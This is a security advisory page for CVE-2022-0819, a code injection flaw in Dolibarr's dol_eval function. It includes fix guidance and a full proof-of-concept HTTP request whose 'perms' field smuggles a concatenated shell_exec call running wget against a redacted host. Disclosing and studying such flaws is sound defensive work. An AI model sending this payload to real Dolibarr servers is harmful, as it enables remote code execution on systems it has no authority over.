Arbitrary Code Injection Affecting dolibarr/dolibarr package, versions <15.0.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.2% (59th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-DOLIBARRDOLIBARR-2414283
  • published3 Mar 2022
  • disclosed2 Mar 2022
  • creditUnknown

Introduced: 2 Mar 2022

CVE-2022-0819  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade dolibarr/dolibarr to version 15.0.1 or higher.

Overview

dolibarr/dolibarr is a modern and easy to use web software to manage your business.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the dol_eval function in the dolibarr/htdocs/core/lib/functions.lib.php component. Sanitization is done using str_replace, and can be bypassed using a string like ('she'.'ll_'.'ex'.'ec')('<command_to_be_executed>').

PoC

POST /htdocs/admin/menus/edit.php?action=add&token=84da28fc90b6abc2238f2e0da2e5ee10&menuId=0 HTTP/1.1
Host: <HOST>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 271
Referer: http://192.168.255.78/dolibarr/htdocs/admin/menus/edit.php?menuId=0&action=create&menu_handler=eldy&backtopage=%2Fdolibarr%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php
Cookie: <COOKIE>
Upgrade-Insecure-Requests: 1

token=84da28fc90b6abc2238f2e0da2e5ee10&menu_handler=all&user=2&type=top&propertymainmenu=testtest&titre=testtest&url=testtest&langs=&position=100&target=&enabled=1&perms=%28%27she%27.%27ll_%27.%27ex%27.%27ec%27%29%28%27wget+https%3A%2F%2F<REDACTED>%27%29&save=Save

References

CVSS Scores

version 3.1